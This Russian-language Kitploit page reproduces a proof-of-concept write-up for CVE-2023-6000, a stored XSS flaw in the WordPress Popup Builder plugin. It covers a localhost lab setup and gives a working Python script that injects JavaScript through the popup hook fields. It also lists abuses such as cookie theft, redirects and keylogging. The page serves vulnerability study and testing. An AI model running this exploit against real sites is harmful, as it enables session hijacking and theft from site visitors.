Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ronf98/cve-2023-6000-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubronf98/cve-2023-6000-poc

CVE-2023-6000-POC

Эта уязвимость демонстрирует недостаток XSS в плагине всплывающих окон для WordPress, позволяющий злоумышленникам внедрять вредоносный JavaScript через stored XSS.

Репозиторий
111 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Общие сведения

  • Идентификатор CVE : CVE-2023-6000
  • Оценка CVSS : 6.1
  • Тип : Stored XSS
  • Исправленная версия : Popup Builder 4.2.3

Эта уязвимость позволяет злоумышленнику использовать недостаток Cross-Site Scripting (XSS) в плагине WordPress Popup Builder. Плагин не предотвращает изменение существующих всплывающих окон обычными посетителями, и, отправляя специально созданный запрос на сервер, злоумышленник может внедрить вредоносные скрипты во всплывающее окно, которые будут выполняться при взаимодействии пользователей с этим окном.

В этой POC уязвимость срабатывает при манипуляции поведением открытия всплывающего окна, куда внедряется простой скрипт alert, который будет выполнен при открытии окна. Такой тип атаки может привести к целому ряду проблем, включая несанкционированный доступ к конфиденциальной информации и дальнейшую эксплуатацию взломанного сайта, потенциально ставя под угрозу данные пользователей или весь сайт.

Настройка среды POC

  1. Скачайте XAMPP для размещения локального веб-сервера (последняя версия)
  2. Создайте базу данных SQL
  3. Установите Wordpress (последняя версия)
  4. Войдите в админку Wordpress и установите уязвимую версию Popup Builder (<4.2.3)
  5. Настройте простую главную страницу и всплывающее окно для демонстрации уязвимости

Шаг 1: XAMPP

Для этого POC мы можем использовать машину с Windows 10 и скачать XAMPP: https://www.apachefriends.org/download.html
После установки убедитесь, что модули Apache и MySQL включены:

изображение

Шаг 2: SQL база данных

WordPress, как и большинство систем управления контентом, требует базу данных для хранения всех своих важных данных. Создаваемая нами SQL база данных выступает в качестве центрального хранилища для всей этой информации.

  • В браузере перейдите на http://localhost/phpmyadmin
  • Перейдите на вкладку "Базы данных" и создайте новую базу данных (например, wordpress_db).
  • Запомните имя базы данных, так как оно понадобится при установке WordPress.

Шаг 3: Wordpress

  • Скачайте Wordpress с официального сайта - https://wordpress.org/download/
  • После скачивания извлеките zip-архив WordPress в папку установки XAMPP по адресу C:\xampp\htdocs\
  • Затем перейдите на http://localhost/wordpress - откроется экран установки.
  • В поле имени базы данных укажите имя созданной SQL базы, остальные поля можно оставить по умолчанию (user:root, pass:empty (по умолчанию для XAMPP)).
  • Если подключение к базе данных прошло успешно, вы сможете настроить администратора для последующего доступа.

Шаг 4: Popup Builder

Уязвимую версию плагина Popup Builder можно скачать с их основного сайта: https://wordpress.org/plugins/popup-builder/advanced/
Выберите более старую версию, выпущенную до исправления в 4.2.3:
изображение
Затем перейдите на страницу администратора WordPress - http://localhost/wordpress/wp-login.php
Плагины -> Добавить новый -> Загрузить плагин -> Выберите скачанный .ZIP файл и установите

Шаг 5: Главная страница и всплывающее окно

В панели администрирования WordPress мы можем создать простую главную страницу: Страницы -> Добавить новую -> Выбрать шаблон.
Для всплывающего окна: Popup Builder -> Добавить новую -> Выберите тип и настройте.
Для этого POC я выбрал всплывающее окно подписки, так как это один из самых распространенных типов всплывающих окон на сайтах сегодня.
изображение

На вкладке "Правила отображения" вы можете прикрепить всплывающее окно к вашей главной странице:
изображение

Теперь, открыв главную страницу по адресу http://localhost/wordpress/,
мы увидим, что наше всплывающее окно срабатывает.

Эксплойт

Чтобы выполнить эксплойт, сначала нужно определить ID всплывающего окна.
Это можно сделать, перейдя на сайт, вызвав всплывающее окно и открыв вкладку "Сеть" в инструментах разработчика.
Найдите запрос admin-ajax.php - ключевой компонент WordPress, используемый для обработки AJAX-запросов.
Popup Builder использует его для управления такими функциями, как сохранение, обновление, предварительный просмотр и управление всплывающими окнами в WordPress.

На вкладке Payload можно найти ID всплывающего окна:

изображение

После нахождения ID всплывающего окна можно использовать следующий скрипт для запуска эксплойта:

root@kitploit:~
import requests

# Define the target URL for the vulnerable site
url = "http://localhost/wordpress/"
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
    }
data = {
    "sgpb-is-preview": "1",
    "post_ID": "22",     #use the Popup ID we found
    "sgpb-type": "html",
    "sgpb-WillOpen": "alert('Stored XSS Executed Successfully');"     #custom JS code goes here
    }

# Send the POST request and output the results
response = requests.post(url, data=data)
print(response.text)

Дополнительные опции

Поскольку мы можем редактировать всплывающее окно, мы также можем контролировать время срабатывания нашего пользовательского JS. Если перейти на страницу администрирования WordPress, в настройках всплывающего окна можно увидеть опцию "Пользовательский JS или CSS", которая управляет временем выполнения пользовательского кода:

  • "sgpb-ShouldOpen" : Выполняется перед началом открытия всплывающего окна, проверяя, следует ли его открывать.
  • "sgpb-WillOpen" : Выполняется непосредственно перед открытием всплывающего окна, позволяя выполнить последние действия.
  • "sgpb-DidOpen" : Выполняется сразу после полного открытия всплывающего окна, идеально подходит для действий после загрузки (например, XSS).
  • "sgpb-ShouldClose" : Проверки или действия, запускаемые перед началом закрытия всплывающего окна.
  • "sgpb-WillClose" : Выполняется непосредственно перед закрытием всплывающего окна, позволяя внести финальные изменения.
  • "sgpb-DidClose" : Выполняется сразу после полного закрытия всплывающего окна.

изображение

Затем мы можем включить это в наш скрипт в соответствии с нашими потребностями.

Выполнение

После запуска скрипта мы видим, что в панели администрирования WordPress в разделе пользовательского JS нашего всплывающего окна была добавлена новая строка:

изображение

Теперь при входе на сайт в качестве обычного пользователя мы видим следующее сообщение:

изображение

Мы также можем убедиться, что наше сообщение было сохранено в базе данных SQL (по умолчанию в таблице wp_postmeta), что подтверждает, что это хранимая XSS:

изображение

Возможное использование

Эта хранимая XSS-уязвимость в плагине Popup Builder позволяет злоумышленнику внедрить вредоносный JavaScript, который будет выполняться каждый раз, когда пользователь взаимодействует с зараженным всплывающим окном. Ниже приведены возможные способы её вредоносного использования:

  • Угон сессии : Вредоносный JS код может украсть куки сессии и отправить их на внешний домен, позволяя злоумышленникам перехватывать учетные записи пользователей.
  • Перенаправление : Скрипт может перенаправлять пользователей на поддельные страницы входа или другие вредоносные сайты (это можно сделать, добавив следующий JS код: window.location.href = 'https://facebook.com')
  • Загрузка вредоносного ПО (Drive-by Downloads) : Злоумышленник может инициировать загрузку вредоносных файлов, заставляя пользователей неосознанно устанавливать вредоносное ПО.
  • Дефейс и дезинформация : Внедренные скрипты могут манипулировать содержимым страницы, искажая сайт или отображая ложную информацию пользователям.
  • Кейлоггер : Вредоносные скрипты могут использоваться для регистрации нажатий клавиш пользователей, перехватывая конфиденциальные данные и личную информацию, а затем отправляя их на домен злоумышленника.
Скачать инструмент